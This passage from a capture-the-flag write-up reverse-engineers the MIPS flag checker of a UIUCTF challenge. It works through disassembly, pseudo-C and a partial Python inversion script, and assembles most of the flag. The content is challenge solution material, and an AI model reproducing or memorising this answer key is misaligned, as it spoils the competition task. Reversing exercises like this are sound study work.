</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">sltiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  ...
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>loc_4A0:                         <span style="color:#6c7986">; case 3: idx in {3,4,5} → equality
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddu</span> $v0, $v1, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v1, <span style="color:#d0bf69">0</span>($v0)              <span style="color:#6c7986">; buf[idx]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">ld</span>    $a0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddu</span> $v0, $a0, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)              <span style="color:#6c7986">; buf[idx+7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">xor</span>   $v0, $v1, $v0            <span style="color:#6c7986">; buf[idx] == buf[idx+7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">sltiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  ...
</span></span></code></pre></div><p>in pseudoC:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">6</span>; i++) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (i == <span style="color:#d0bf69">0</span> || i == <span style="color:#d0bf69">2</span>) ok &amp;= (buf[i] == (<span style="color:#fc5fa3">char</span>)(buf[i+<span style="color:#d0bf69">7</span>] + <span style="color:#d0bf69">0x20</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span> <span style="color:#41a1c0">if</span> (i == <span style="color:#d0bf69">1</span>)      ok &amp;= (buf[i+<span style="color:#d0bf69">7</span>] == <span style="color:#fc6a5d">&#39;_&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>                  ok &amp;= (buf[i] == buf[i+<span style="color:#d0bf69">7</span>]); <span style="color:#6c7986">// i in {3,4,5}
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>}
</span></span></code></pre></div><p>TL;DR: positions 7..12 mirror 0..5 as uppercase/same; position 8 is <code>_</code></p>
<p><strong><code>flag = uiuctf{U_Uctf</code></strong></p>
<h3 id="3-stand-alone-character-checks">3. Stand-alone character checks</h3>
<ul>
<li><code>buf[13] == '_'</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0xD</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>     $v0, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">xori</span>   $v0, <span style="color:#d0bf69">0x5F</span>          <span style="color:#6c7986">; &#39;_&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sltiu</span>  $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li><code>buf[14] == 'm'</code> and <code>buf[15] == '1'</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0xE</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>     $v1, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>     $v0, <span style="color:#d0bf69">0x6D</span>          <span style="color:#6c7986">; &#39;m&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>    $v1, $v0, loc_630   <span style="color:#6c7986">; fail if not &#39;m&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>...
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0xF</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>     $v1, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>     $v0, <span style="color:#d0bf69">0x31</span>          <span style="color:#6c7986">; &#39;1&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>    $v1, $v0, loc_630
</span></span></code></pre></div><ul>
<li><code>buf[28] == '_'</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0x1C</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>     $v1, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>     $v0, <span style="color:#d0bf69">0x5F</span>          <span style="color:#6c7986">; &#39;_&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>    $v1, $v0, loc_630
</span></span></code></pre></div><ul>
<li><code>buf[23] + buf[24] == 'S'</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0x17</span>      <span style="color:#6c7986">; buf[23]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">lb</span>     $v0, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">move</span>   $v1, $v0
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>     $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">0x18</span>      <span style="color:#6c7986">; buf[24]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">lb</span>     $v0, <span style="color:#d0bf69">0</span>($v0)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">addu</span>   $v0, $v1, $v0  <span style="color:#6c7986">; sum
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">li</span>     $v0, <span style="color:#d0bf69">0x53</span>      <span style="color:#6c7986">; &#39;S&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>    $v1, $v0, loc_630
</span></span></code></pre></div><p><code>'#' (0x23) + '0' (0x30) = 'S' (0x53)</code></p>
<p><strong><code>flag = uiuctf{U_Uctf_m1.......#0...._</code></strong></p>
<h3 id="4-tail-check-bytes-2937-must-be-abcdefghi">4. Tail check: bytes 29..37 must be <code>abcdefghi</code></h3>
<p>Loop indexed by <code>arg_8</code>, 9 iterations:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>loc_330:
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v0, arg_8($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">addiu</span> $v0, <span style="color:#d0bf69">0x1E</span>        <span style="color:#6c7986">; +30
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">daddiu</span> $v0, -<span style="color:#d0bf69">1</span>         <span style="color:#6c7986">; +29
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">ld</span>    $v1, arg_18($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddu</span> $v0, $v1, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v1, <span style="color:#d0bf69">0</span>($v0)      <span style="color:#6c7986">; buf[29 + i]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">dli</span>   $v0, <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $a0, arg_8($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddiu</span> $v0, aAbcdefghijklmn  <span style="color:#6c7986">; &#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345678&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">daddu</span> $v0, $a0, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)      <span style="color:#6c7986">; table[i]  → starts at &#39;a&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">xor</span>   $v0, $v1, $v0    <span style="color:#6c7986">; buf[29+i] == table[i]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  ...
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v0, arg_8($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">addiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">sw</span>    $v0, arg_8($sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_390:
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v0, arg_8($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">slti</span>  $v0, <span style="color:#d0bf69">9</span>           <span style="color:#6c7986">; i &lt; 9
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">bnez</span>  $v0, loc_330
</span></span></code></pre></div><p>in pseudoC:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">9LL</span>; ++i )
</span></span><span style="display:flex;"><span>      v14 = (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int8</span>)v14 &amp; ((<span style="color:#fc5fa3">char</span>)a12[i + <span style="color:#d0bf69">29</span>] == (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span>)aAbcdefghijklmn[i]);
</span></span></code></pre></div><p><strong><code>flag = uiuctf{U_Uctf_m1.......#0...._abcdefghi}</code></strong></p>
<h3 id="5-central-84-byte-mixing-bytes-1623-and-2427">5. Central 8+4 byte mixing (bytes 16..23 and 24..27)</h3>
<p>This is the trickiest part, this block derives two accumulators from 8 bytes at <code>[16..23]</code> and 4 bytes at <code>[24..27]</code>, mixes with constants, rotates, cross-mixes, and compares to targets:</p>
<p><strong>Load + constants + first XOR:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v0, <span style="color:#d0bf69">0x10</span>($v0)     <span style="color:#6c7986">; packs buf[16..23] into 64b (little-endian)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x20</span>($sp)     <span style="color:#6c7986">; save as x
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v0, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0x18</span>($v0)     <span style="color:#6c7986">; packs buf[24..27] into 32b (little-endian)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x28</span>($sp)     <span style="color:#6c7986">; save as y
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">dli</span>   $v0, <span style="color:#d0bf69">0x1337C0DE12345678</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x30</span>($sp)     <span style="color:#6c7986">; c64
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">0x3EADBE3F</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x38</span>($sp)     <span style="color:#6c7986">; c32
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x30</span>($sp)     <span style="color:#6c7986">; c64
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">ld</span>    $v0, <span style="color:#d0bf69">0x20</span>($sp)     <span style="color:#6c7986">; x
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">xor</span>   $v0, $v1, $v0
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x30</span>($sp)     <span style="color:#6c7986">; x ^= c64
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lw</span>    $v1, <span style="color:#d0bf69">0x38</span>($sp)     <span style="color:#6c7986">; c32
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0x28</span>($sp)     <span style="color:#6c7986">; y
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">xor</span>   $v0, $v1, $v0
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x38</span>($sp)     <span style="color:#6c7986">; y ^= c32
</span></span></span></code></pre></div><p><strong>Rotate-left and adds:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">; rol64(x,8) via shifts/ors then add 0x0123456789ABCDEF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>...
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">dli</span>   $v0, <span style="color:#d0bf69">0x123456789ABCDEF</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddu</span> $v0, $v1, $v0    <span style="color:#6c7986">; x += 0x0123456789ABCDEF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x30</span>($sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">; rol32(y,4) then add 0x87654321
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">0xFFFFFFFF87654321</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">addu</span>  $v0, $v1, $v0    <span style="color:#6c7986">; y += 0x87654321
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x38</span>($sp)
</span></span></code></pre></div><p><strong>Cross-mix + final XORs + compare:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">; x ^= (uint64)y &lt;&lt; 32
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">; y ^= (uint32)x
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>...
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">dli</span>   $v0, <span style="color:#d0bf69">0xFEDCBA9876543210</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">xor</span>   $v0, $v1, $v0     <span style="color:#6c7986">; x ^= 0xFEDC...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x30</span>($sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">0x13579BDF</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">xor</span>   $v0, $v1, $v0     <span style="color:#6c7986">; y ^= 0x13579BDF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x38</span>($sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">dli</span>   $v0, <span style="color:#d0bf69">0xC956B3009784E40F</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x48</span>($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">0xFFFFFFFF83C5A9D1</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sw</span>    $v0, <span style="color:#d0bf69">0x50</span>($sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x30</span>($sp)    <span style="color:#6c7986">; x
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">ld</span>    $v0, <span style="color:#d0bf69">0x48</span>($sp)    <span style="color:#6c7986">; target64
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>   $v1, $v0, loc_7D8 <span style="color:#6c7986">; fail if x != target
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lw</span>    $v1, <span style="color:#d0bf69">0x38</span>($sp)    <span style="color:#6c7986">; y
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0x50</span>($sp)    <span style="color:#6c7986">; target32
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">bne</span>   $v1, $v0, loc_7D8 <span style="color:#6c7986">; fail if y != target
</span></span></span></code></pre></div><p>in pseudoC:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">uint64_t</span> x = <span style="color:#41a1c0">u64le</span>(&amp;buf[<span style="color:#d0bf69">16</span>]) ^ <span style="color:#d0bf69">0x1337C0DE12345678ULL</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">uint32_t</span> y = <span style="color:#41a1c0">u32le</span>(&amp;buf[<span style="color:#d0bf69">24</span>]) ^ <span style="color:#d0bf69">0x3EADBE3F</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>x = <span style="color:#41a1c0">rol64</span>(x, <span style="color:#d0bf69">8</span>) + <span style="color:#d0bf69">0x0123456789ABCDEFULL</span>;
</span></span><span style="display:flex;"><span>y = <span style="color:#41a1c0">rol32</span>(y, <span style="color:#d0bf69">4</span>) + <span style="color:#d0bf69">0x87654321U</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>x ^= ((<span style="color:#fc5fa3">uint64_t</span>)y) &lt;&lt; <span style="color:#d0bf69">32</span>;
</span></span><span style="display:flex;"><span>y ^= (<span style="color:#fc5fa3">uint32_t</span>)x;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>x ^= <span style="color:#d0bf69">0xFEDCBA9876543210ULL</span>;
</span></span><span style="display:flex;"><span>y ^= <span style="color:#d0bf69">0x13579BDFU</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ok &amp;= (x == <span style="color:#d0bf69">0xC956B3009784E40FULL</span>);
</span></span><span style="display:flex;"><span>ok &amp;= (y == <span style="color:#d0bf69">0x83C5A9D1U</span>);
</span></span></code></pre></div><p>I used the following python script to demangle this part (with a bit of overlap with bytes already discovered in section 4):</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#decipher.py</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">ror64</span>(val, r):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((val &gt;&gt; r) | (val &lt;&lt; (<span style="color:#d0bf69">64</span> - r))) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">ror32</span>(val, r):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((val &gt;&gt; r) | (val &lt;&lt; (<span style="color:#d0bf69">32</span> - r))) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">find_key_bytes</span>():
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    target_E = <span style="color:#d0bf69">0xC956B3009784E40F</span>
</span></span><span style="display:flex;"><span>    target_F = <span style="color:#d0bf69">0x83C5A9D1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    E = target_E ^ <span style="color:#d0bf69">0xFEDCBA9876543210</span>
</span></span><span style="display:flex;"><span>    F = target_F ^ <span style="color:#d0bf69">0x13579BDF</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;After final inverse XOR: E=0x</span><span style="color:#fc6a5d">{</span>E<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">016x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, F=0x</span><span style="color:#fc6a5d">{</span>F<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">08x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    F_before_mix = F ^ (E &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>)
</span></span><span style="display:flex;"><span>    E_before_mix = E ^ (F_before_mix &lt;&lt; <span style="color:#d0bf69">32</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;After inverse Feistel: E=0x</span><span style="color:#fc6a5d">{</span>E_before_mix<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">016x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, F=0x</span><span style="color:#fc6a5d">{</span>F_before_mix<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">08x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    E_before_add = (E_before_mix - <span style="color:#d0bf69">0x0123456789ABCDEF</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>    F_before_add = (F_before_mix - <span style="color:#d0bf69">0x87654321</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;After subtraction: E=0x</span><span style="color:#fc6a5d">{</span>E_before_add<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">016x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, F=0x</span><span style="color:#fc6a5d">{</span>F_before_add<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">08x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    E_before_rot = ror64(E_before_add, <span style="color:#d0bf69">8</span>)
</span></span><span style="display:flex;"><span>    F_before_rot = ror32(F_before_add, <span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;After inverse rotation: E=0x</span><span style="color:#fc6a5d">{</span>E_before_rot<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">016x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, F=0x</span><span style="color:#fc6a5d">{</span>F_before_rot<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">08x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    E_original = E_before_rot ^ <span style="color:#d0bf69">0x1337C0DE12345678</span>
</span></span><span style="display:flex;"><span>    F_original = F_before_rot ^ <span style="color:#d0bf69">0x3EADBE3F</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Original values: E=0x</span><span style="color:#fc6a5d">{</span>E_original<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">016x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, F=0x</span><span style="color:#fc6a5d">{</span>F_original<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">08x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    E_bytes = E_original.to_bytes(<span style="color:#d0bf69">8</span>, <span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span>    F_bytes = F_original.to_bytes(<span style="color:#d0bf69">4</span>, <span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    char23 = E_bytes[<span style="color:#d0bf69">7</span>]  <span style="color:#6c7986">#ultimo byte di E</span>
</span></span><span style="display:flex;"><span>    char24 = F_bytes[<span style="color:#d0bf69">0</span>]  <span style="color:#6c7986">#primo byte di F</span>
